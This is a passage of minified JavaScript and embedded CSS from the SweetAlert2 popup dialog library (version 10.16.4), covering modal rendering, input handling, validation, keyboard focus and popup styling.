t.contains(e)}(t,T())||(t.hasAttribute("aria-hidden")&&t.setAttribute("data-previous-aria-hidden",t.getAttribute("aria-hidden")),t.setAttribute("aria-hidden","true"))}))),G()||Jt.previousActiveElement||(Jt.previousActiveElement=document.activeElement),Ve(n,t),ot(e,D["no-transition"])},Ve=function(t,e){"function"==typeof e.didOpen?setTimeout((function(){return e.didOpen(t)})):"function"==typeof e.onOpen&&setTimeout((function(){return e.onOpen(t)}))},Ke=function t(e){var n=O();if(e.target===n){var i=T();n.removeEventListener(xt,t),i.style.overflowY="auto"}},Ge=function(t,e){xt&&pt(e)?(t.style.overflowY="hidden",e.addEventListener(xt,Ke)):t.style.overflowY="auto"},Je=function(t,e,n){!function(){if((/iPad|iPhone|iPod/.test(navigator.userAgent)&&!window.MSStream||"MacIntel"===navigator.platform&&navigator.maxTouchPoints>1)&&!Q(document.body,D.iosfix)){var t=document.body.scrollTop;document.body.style.top="".concat(-1*t,"px"),rt(document.body,D.iosfix),ye(),ge()}}(),"undefined"!=typeof window&&_e()&&(ke(),window.addEventListener("resize",ke)),e&&"hidden"!==n&&me(),setTimeout((function(){t.scrollTop=0}))},Ze=function(t,e,n){rt(t,n.showClass.backdrop),e.style.setProperty("opacity","0","important"),lt(e),setTimeout((function(){rt(e,n.showClass.popup),e.style.removeProperty("opacity")}),10),rt([document.documentElement,document.body],D.shown),n.heightAuto&&n.backdrop&&!n.toast&&rt([document.documentElement,document.body],D["height-auto"])},Qe=function(t){return t.checked?1:0},Xe=function(t){return t.checked?t.value:null},tn=function(t){return t.files.length?null!==t.getAttribute("multiple")?t.files:t.files[0]:null},en=function(e,n){var i=A(),r=function(t){return rn[n.input](i,on(t),n)};b(n.inputOptions)||_(n.inputOptions)?(Gt($()),w(n.inputOptions).then((function(t){e.hideLoading(),r(t)}))):"object"===t(n.inputOptions)?r(n.inputOptions):m("Unexpected type of inputOptions! Expected object, Map or Promise, got ".concat(t(n.inputOptions)))},nn=function(t,e){var n=t.getInput();ct(n),w(e.inputValue).then((function(i){n.value="number"===e.input?parseFloat(i)||0:"".concat(i),lt(n),n.focus(),t.hideLoading()})).catch((function(e){m("Error in inputValue promise: ".concat(e)),n.value="",lt(n),n.focus(),t.hideLoading()}))},rn={select:function(t,e,n){var i=at(t,D.select),r=function(t,e,i){var r=document.createElement("option");r.value=i,Z(r,e),r.selected=an(i,n.inputValue),t.appendChild(r)};e.forEach((function(t){var e=t[0],n=t[1];if(Array.isArray(n)){var o=document.createElement("optgroup");o.label=e,o.disabled=!1,i.appendChild(o),n.forEach((function(t){return r(o,t[1],t[0])}))}else r(i,n,e)})),i.focus()},radio:function(t,e,n){var i=at(t,D.radio);e.forEach((function(t){var e=t[0],r=t[1],o=document.createElement("input"),a=document.createElement("label");o.type="radio",o.name=D.radio,o.value=e,an(e,n.inputValue)&&(o.checked=!0);var s=document.createElement("span");Z(s,r),s.className=D.label,a.appendChild(o),a.appendChild(s),i.appendChild(a)}));var r=i.querySelectorAll("input");r.length&&r[0].focus()}},on=function e(n){var i=[];return"undefined"!=typeof Map&&n instanceof Map?n.forEach((function(n,r){var o=n;"object"===t(o)&&(o=e(o)),i.push([r,o])})):Object.keys(n).forEach((function(r){var o=n[r];"object"===t(o)&&(o=e(o)),i.push([r,o])})),i},an=function(t,e){return e&&e.toString()===t.toString()},sn=function(t,e,n){var i=function(t,e){var n=t.getInput();if(!n)return null;switch(e.input){case"checkbox":return Qe(n);case"radio":return Xe(n);case"file":return tn(n);default:return e.inputAutoTrim?n.value.trim():n.value}}(t,e);e.inputValidator?ln(t,e,i):t.getInput().checkValidity()?"deny"===n?cn(t,e,i):dn(t,e,i):(t.enableButtons(),t.showValidationMessage(e.validationMessage))},ln=function(t,e,n){t.disableInput(),Promise.resolve().then((function(){return w(e.inputValidator(n,e.validationMessage))})).then((function(i){t.enableButtons(),t.enableInput(),i?t.showValidationMessage(i):dn(t,e,n)}))},cn=function(t,e,n){e.showLoaderOnDeny&&Gt(H()),e.preDeny?Promise.resolve().then((function(){return w(e.preDeny(n,e.validationMessage))})).then((function(e){!1===e?t.hideLoading():t.closePopup({isDenied:!0,value:void 0===e?n:e})})):t.closePopup({isDenied:!0,value:n})},un=function(t,e){t.closePopup({isConfirmed:!0,value:e})},dn=function(t,e,n){e.showLoaderOnConfirm&&Gt(),e.preConfirm?(t.resetValidationMessage(),Promise.resolve().then((function(){return w(e.preConfirm(n,e.validationMessage))})).then((function(e){ft(I())||!1===e?t.hideLoading():un(t,void 0===e?n:e)}))):un(t,n)},fn=function(t,e,n){var i=V();if(i.length)return(e+=n)===i.length?e=0:-1===e&&(e=i.length-1),i[e].focus();O().focus()},hn=["ArrowRight","ArrowDown","Right","Down"],pn=["ArrowLeft","ArrowUp","Left","Up"],mn=["Escape","Esc"],gn=function(t,e,n){var i=Tt.innerParams.get(t);i&&(i.stopKeydownPropagation&&e.stopPropagation(),"Enter"===e.key?yn(t,e,i):"Tab"===e.key?vn(e,i):-1!==[].concat(hn,pn).indexOf(e.key)?bn(e.key):-1!==mn.indexOf(e.key)&&wn(e,i,n))},yn=function(t,e,n){if(!e.isComposing&&e.target&&t.getInput()&&e.target.outerHTML===t.getInput().outerHTML){if(-1!==["textarea","file"].indexOf(n.input))return;Kt(),e.preventDefault()}},vn=function(t,e){for(var n=t.target,i=V(),r=-1,o=0;o<i.length;o++)if(n===i[o]){r=o;break}t.shiftKey?fn(0,r,-1):fn(0,r,1),t.stopPropagation(),t.preventDefault()},bn=function(t){if(-1!==[$(),H(),z()].indexOf(document.activeElement)){var e=-1!==hn.indexOf(t)?"nextElementSibling":"previousElementSibling",n=document.activeElement[e];n&&n.focus()}},wn=function(t,e,n){v(e.allowEscapeKey)&&(t.preventDefault(),n(k.esc))},_n=function(t,e,n){e.popup.onclick=function(){var e=Tt.innerParams.get(t);e.showConfirmButton||e.showDenyButton||e.showCancelButton||e.showCloseButton||e.timer||e.input||n(k.close)}},kn=!1,xn=function(t){t.popup.onmousedown=function(){t.container.onmouseup=function(e){t.container.onmouseup=void 0,e.target===t.container&&(kn=!0)}}},Sn=function(t){t.container.onmousedown=function(){t.popup.onmouseup=function(e){t.popup.onmouseup=void 0,(e.target===t.popup||t.popup.contains(e.target))&&(kn=!0)}}},Dn=function(t,e,n){e.container.onclick=function(i){var r=Tt.innerParams.get(t);kn?kn=!1:i.target===e.container&&v(r.allowOutsideClick)&&n(k.backdrop)}},Mn=function(t,e){var n=function(t){var e="string"==typeof t.template?document.querySelector(t.template):t.template;if(!e)return{};var n=e.content||e;return Ue(n),r($e(n),He(n),Be(n),ze(n),Ne(n),We(n,Ie))}(t),i=r({},ie.showClass,e.showClass,n.showClass,t.showClass),o=r({},ie.hideClass,e.hideClass,n.hideClass,t.hideClass),a=r({},ie,e,n,t);return a.showClass=i,a.hideClass=o,!1===t.animation&&(a.showClass={popup:"swal2-noanimation",backdrop:"swal2-noanimation"},a.hideClass={}),a},Tn=function(t,e,n){return new Promise((function(i){var r=function(e){t.closePopup({isDismissed:!0,dismiss:e})};xe.swalPromiseResolve.set(t,i),e.confirmButton.onclick=function(){return function(t,e){t.disableButtons(),e.input?sn(t,e,"confirm"):dn(t,e,!0)}(t,n)},e.denyButton.onclick=function(){return function(t,e){t.disableButtons(),e.returnInputValueOnDeny?sn(t,e,"deny"):cn(t,e,!1)}(t,n)},e.cancelButton.onclick=function(){return function(t,e){t.disableButtons(),e(k.cancel)}(t,r)},e.closeButton.onclick=function(){return r(k.close)},function(t,e,n){Tt.innerParams.get(t).toast?_n(t,e,n):(xn(e),Sn(e),Dn(t,e,n))}(t,e,r),function(t,e,n,i){e.keydownTarget&&e.keydownHandlerAdded&&(e.keydownTarget.removeEventListener("keydown",e.keydownHandler,{capture:e.keydownListenerCapture}),e.keydownHandlerAdded=!1),n.toast||(e.keydownHandler=function(e){return gn(t,e,i)},e.keydownTarget=n.keydownListenerCapture?window:O(),e.keydownListenerCapture=n.keydownListenerCapture,e.keydownTarget.addEventListener("keydown",e.keydownHandler,{capture:e.keydownListenerCapture}),e.keydownHandlerAdded=!0)}(t,Jt,n,r),function(t,e){"select"===e.input||"radio"===e.input?en(t,e):-1!==["text","email","number","tel","textarea"].indexOf(e.input)&&(b(e.inputValue)||_(e.inputValue))&&nn(t,e)}(t,n),Fe(n),Ln(Jt,n,r),On(e,n),setTimeout((function(){e.container.scrollTop=0}))}))},Cn=function(t){var e={popup:O(),container:T(),content:A(),actions:N(),confirmButton:$(),denyButton:H(),cancelButton:z(),loader:B(),closeButton:F(),validationMessage:I(),progressSteps:R()};return Tt.domCache.set(t,e),e},Ln=function(t,e,n){var i=q();ct(i),e.timer&&(t.timeout=new Ae((function(){n("timer"),delete t.timeout}),e.timer),e.timerProgressBar&&(lt(i),setTimeout((function(){t.timeout&&t.timeout.running&&mt(e.timer)}))))},On=function(t,e){if(!e.toast)return v(e.allowEnterKey)?void(En(t,e)||fn(0,-1,1)):Pn()},En=function(t,e){return e.focusDeny&&ft(t.denyButton)?(t.denyButton.focus(),!0):e.focusCancel&&ft(t.cancelButton)?(t.cancelButton.focus(),!0):!(!e.focusConfirm||!ft(t.confirmButton)||(t.confirmButton.focus(),0))},Pn=function(){document.activeElement&&"function"==typeof document.activeElement.blur&&document.activeElement.blur()},An=function(t){"function"==typeof t.didDestroy?t.didDestroy():"function"==typeof t.onDestroy&&t.onDestroy()},Yn=function(t){delete t.params,delete Jt.keydownHandler,delete Jt.keydownTarget,jn(Tt),jn(xe)},jn=function(t){for(var e in t)t[e]=new WeakMap},Rn=Object.freeze({hideLoading:pe,disableLoading:pe,getInput:function(t){var e=Tt.innerParams.get(t||this),n=Tt.domCache.get(t||this);return n?tt(n.content,e.input):null},close:De,closePopup:De,closeModal:De,closeToast:De,enableButtons:function(){Ee(this,["confirmButton","denyButton","cancelButton"],!1)},disableButtons:function(){Ee(this,["confirmButton","denyButton","cancelButton"],!0)},enableInput:function(){return Pe(this.getInput(),!1)},disableInput:function(){return Pe(this.getInput(),!0)},showValidationMessage:function(t){var e=Tt.domCache.get(this),n=Tt.innerParams.get(this);Z(e.validationMessage,t),e.validationMessage.className=D["validation-message"],n.customClass&&n.customClass.validationMessage&&rt(e.validationMessage,n.customClass.validationMessage),lt(e.validationMessage);var i=this.getInput();i&&(i.setAttribute("aria-invalid",!0),i.setAttribute("aria-describedBy",D["validation-message"]),nt(i),rt(i,D.inputerror))},resetValidationMessage:function(){var t=Tt.domCache.get(this);t.validationMessage&&ct(t.validationMessage);var e=this.getInput();e&&(e.removeAttribute("aria-invalid"),e.removeAttribute("aria-describedBy"),ot(e,D.inputerror))},getProgressSteps:function(){return Tt.domCache.get(this).progressSteps},_main:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};fe(r({},e,t)),Jt.currentInstance&&Jt.currentInstance._destroy(),Jt.currentInstance=this;var n=Mn(t,e);je(n),Object.freeze(n),Jt.timeout&&(Jt.timeout.stop(),delete Jt.timeout),clearTimeout(Jt.restoreFocusTimeout);var i=Cn(this);return Vt(this,n),Tt.innerParams.set(this,n),Tn(this,i,n)},update:function(t){var e=O(),n=Tt.innerParams.get(this);if(!e||Q(e,n.hideClass.popup))return p("You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.");var i={};Object.keys(t).forEach((function(e){$n.isUpdatableParameter(e)?i[e]=t[e]:p('Invalid parameter to update: "'.concat(e,'". Updatable params are listed here: https://github.com/sweetalert2/sweetalert2/blob/master/src/utils/params.js\n\nIf you think this parameter should be updatable, request it here: https://github.com/sweetalert2/sweetalert2/issues/new?template=02_feature_request.md'))}));var o=r({},n,i);Vt(this,o),Tt.innerParams.set(this,o),Object.defineProperties(this,{params:{value:r({},this.params,t),writable:!1,enumerable:!0}})},_destroy:function(){var t=Tt.domCache.get(this),e=Tt.innerParams.get(this);e&&(t.popup&&Jt.swalCloseEventFinishedCallback&&(Jt.swalCloseEventFinishedCallback(),delete Jt.swalCloseEventFinishedCallback),Jt.deferDisposalTimer&&(clearTimeout(Jt.deferDisposalTimer),delete Jt.deferDisposalTimer),An(e),Yn(this))}}),In=function(){function t(){if(e(this,t),"undefined"!=typeof window){"undefined"==typeof Promise&&m("This package requires a Promise library, please include a shim to enable it in this browser (See: https://github.com/sweetalert2/sweetalert2/wiki/Migration-from-SweetAlert-to-SweetAlert2#1-ie-support)"),Re=this;for(var n=arguments.length,i=new Array(n),r=0;r<n;r++)i[r]=arguments[r];var o=Object.freeze(this.constructor.argsToParams(i));Object.defineProperties(this,{params:{value:o,writable:!1,enumerable:!0,configurable:!0}});var a=this._main(this.params);Tt.promise.set(this,a)}}return i(t,[{key:"then",value:function(t){return Tt.promise.get(this).then(t)}},{key:"finally",value:function(t){return Tt.promise.get(this).finally(t)}}]),t}();r(In.prototype,Rn),r(In,he),Object.keys(Rn).forEach((function(t){In[t]=function(){var e;if(Re)return(e=Re)[t].apply(e,arguments)}})),In.DismissReason=k,In.version="10.16.4";var $n=In;return $n.default=$n,$n}(),void 0!==this&&this.Sweetalert2&&(this.swal=this.sweetAlert=this.Swal=this.SweetAlert=this.Sweetalert2),"undefined"!=typeof document&&function(t,e){var n=t.createElement("style");if(t.getElementsByTagName("head")[0].appendChild(n),n.styleSheet)n.styleSheet.disabled||(n.styleSheet.cssText=e);else try{n.innerHTML=e}catch(t){n.innerText=e}}(document,'.swal2-popup.swal2-toast{flex-direction:column;align-items:stretch;width:auto;padding:1.25em;overflow-y:hidden;background:#fff;box-shadow:0 0 .625em #d9d9d9}.swal2-popup.swal2-toast .swal2-header{flex-direction:row;padding:0}.swal2-popup.swal2-toast .swal2-title{flex-grow:1;justify-content:flex-start;margin:0 .625em;font-size:1em}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.3125em auto;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{position:static;width:.8em;height:.8em;line-height:.8}.swal2-popup.swal2-toast .swal2-content{justify-content:flex-start;margin:0 .625em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container{padding:.625em 0 0}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-icon{width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:700}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{font-size:.25em}}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{flex:1;flex-basis:auto!important;align-self:stretch;width:auto;height:2.2em;height:auto;margin:0 .3125em;margin-top:.3125em;padding:0}.swal2-popup.swal2-toast .swal2-styled{margin:.125em .3125em;padding:.3125em .625em;font-size:1em}.swal2-popup.swal2-toast .swal2-styled:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(100,150,200,.5)}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.8em;left:-.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-toast-animate-success-line-tip .75s;animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-toast-animate-success-line-long .75s;animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{-webkit-animation:swal2-toast-show .5s;animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{-webkit-animation:swal2-toast-hide .1s forwards;animation:swal2-toast-hide .1s forwards}.swal2-container{display:flex;position:fixed;z-index:1060;top:0;right:0;bottom:0;left:0;flex-direction:row;align-items:center;justify-content:center;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(0,0,0,.4)}.swal2-container.swal2-backdrop-hide{background:0 0!important}.swal2-container.swal2-top{align-items:flex-start}.swal2-container.swal2-top-left,.swal2-container.swal2-top-start{align-items:flex-start;justify-content:flex-start}.swal2-container.swal2-top-end,.swal2-container.swal2-top-right{align-items:flex-start;justify-content:flex-end}.swal2-container.swal2-center{align-items:center}.swal2-container.swal2-center-left,.swal2-container.swal2-center-start{align-items:center;justify-content:flex-start}.swal2-container.swal2-center-end,.swal2-container.swal2-center-right{align-items:center;justify-content:flex-end}.swal2-container.swal2-bottom{align-items:flex-end}.swal2-container.swal2-bottom-left,.swal2-container.swal2-bottom-start{align-items:flex-end;justify-content:flex-start}.swal2-container.swal2-bottom-end,.swal2-container.swal2-bottom-right{align-items:flex-end;justify-content:flex-end}.swal2-container.swal2-bottom-end>:first-child,.swal2-container.swal2-bottom-left>:first-child,.swal2-container.swal2-bottom-right>:first-child,.swal2-container.swal2-bottom-start>:first-child,.swal2-container.swal2-bottom>:first-child{margin-top:auto}.swal2-container.swal2-grow-fullscreen>.swal2-modal{display:flex!important;flex:1;align-self:stretch;justify-content:center}.swal2-container.swal2-grow-row>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-grow-column{flex:1;flex-direction:column}.swal2-container.swal2-grow-column.swal2-bottom,.swal2-container.swal2-grow-column.swal2-center,.swal2-container.swal2-grow-column.swal2-top{align-items:center}.swal2-container.swal2-grow-column.swal2-bottom-left,.swal2-container.swal2-grow-column.swal2-bottom-start,.swal2-container.swal2-grow-column.swal2-center-left,.swal2-container.swal2-grow-column.swal2-center-start,.swal2-container.swal2-grow-column.swal2-top-left,.swal2-container.swal2-grow-column.swal2-top-start{align-items:flex-start}.swal2-container.swal2-grow-column.swal2-bottom-end,.swal2-container.swal2-grow-column.swal2-bottom-right,.swal2-container.swal2-grow-column.swal2-center-end,.swal2-container.swal2-grow-column.swal2-center-right,.swal2-container.swal2-grow-column.swal2-top-end,.swal2-container.swal2-grow-column.swal2-top-right{align-items:flex-end}.swal2-container.swal2-grow-column>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-no-transition{transition:none!important}.swal2-container:not(.swal2-top):not(.swal2-top-start):not(.swal2-top-end):not(.swal2-top-left):not(.swal2-top-right):not(.swal2-center-start):not(.swal2-center-end):not(.swal2-center-left):not(.swal2-center-right):not(.swal2-bottom):not(.swal2-bottom-start):not(.swal2-bottom-end):not(.swal2-bottom-left):not(.swal2-bottom-right):not(.swal2-grow-fullscreen)>.swal2-modal{margin:auto}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-container .swal2-modal{margin:0!important}}.swal2-popup{display:none;position:relative;box-sizing:border-box;flex-direction:column;justify-content:center;width:32em;max-width:100%;padding:1.25em;border:none;border-radius:5px;background:#fff;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:0}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-header{display:flex;flex-direction:column;align-items:center;padding:0 1.8em}.swal2-title{position:relative;max-width:100%;margin:0 0 .4em;padding:0;color:#595959;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:100%;margin:1.25em auto 0;padding:0}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0,0,0,.1),rgba(0,0,0,.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0,0,0,.2),rgba(0,0,0,.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;-webkit-animation:swal2-rotate-loading 1.5s linear 0s infinite normal;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 transparent #2778c4 transparent}.swal2-styled{margin:.3125em;padding:.625em 1.1em;box-shadow:none;font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#2778c4;color:#fff;font-size:1em}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#d14529;color:#fff;font-size:1em}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#757575;color:#fff;font-size:1em}.swal2-styled:focus{outline:0;box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1.25em 0 0;padding:1em 0 0;border-top:1px solid #eee;color:#545454;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;height:.25em;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:1.25em auto}.swal2-close{position:absolute;z-index:2;top:0;right:0;align-items:center;justify-content:center;width:1.2em;height:1.2em;padding:0;overflow:hidden;transition:color .1s ease-out;border:none;border-radius:5px;background:0 0;color:#ccc;font-family:serif;font-size:2.5em;line-height:1.2;cursor:pointer}.swal2-close:hover{transform:none;background:0 0;color:#f27474}.swal2-close:focus{outline:0;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}.swal2-close::-moz-focus-inner{border:0}.swal2-content{z-index:1;justify-content:center;margin:0;padding:0 1.6em;color:#545454;font-size:1.125em;font-weight:400;line-height:normal;text-align:center;word-wrap:break-word}.swal2-checkbox,.swal2-file,.swal2-input,.swal2-radio,.swal2-select,.swal2-textarea{margin:1em auto}.swal2-file,.swal2-input,.swal2-textarea{box-sizing:border-box;width:100%;transition:border-color .3s,box-shadow .3s;border:1px solid #d9d9d9;border-radius:.1875em;background:inherit;box-shadow:inset 0 1px 1px rgba(0,0,0,.06);color:inherit;font-size:1.125em}.swal2-file.swal2-inputerror,.swal2-input.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474!important;box-shadow:0 0 2px #f27474!important}.swal2-file:focus,.swal2-input:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:0;box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-file::-moz-placeholder,.swal2-input::-moz-placeholder,.swal2-textarea::-moz-placeholder{color:#ccc}.swal2-file:-ms-input-placeholder,.swal2-input:-ms-input-placeholder,.swal2-textarea:-ms-input-placeholder{color:#ccc}.swal2-file::placeholder,.swal2-input::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em auto;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-input[type=number]{max-width:10em}.swal2-file{background:inherit;font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:inherit;color:inherit;font-size:1.125em}.swal2-checkbox,.swal2-radio{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-checkbox label,.swal2-radio label{margin:0 .6em;font-size:1.125em}.swal2-checkbox input,.swal2-radio input{margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto}.swal2-validation-message{align-items:center;justify-content:center;margin:0 -2.7em;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:1.25em auto 1.875em;border:.25em solid transparent;border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{-webkit-animation:swal2-animate-error-icon .5s;animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{-webkit-animation:swal2-animate-error-x-mark .5s;animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-.25em;left:-.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-animate-success-line-tip .75s;animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-animate-success-line-long .75s;animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{-webkit-animation:swal2-rotate-success-circular-line 4.25s ease-in;animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:0 0 1.25em;padding:0;background:inherit;font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:transparent}.swal2-show{-webkit-animation:swal2-show .3s;animation:swal2-show .3s}.swal2-hide{-webkit-animation:swal2-hide .15s forwards;animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{right:auto;left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@supports (-ms-accelerator:true){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@media all and 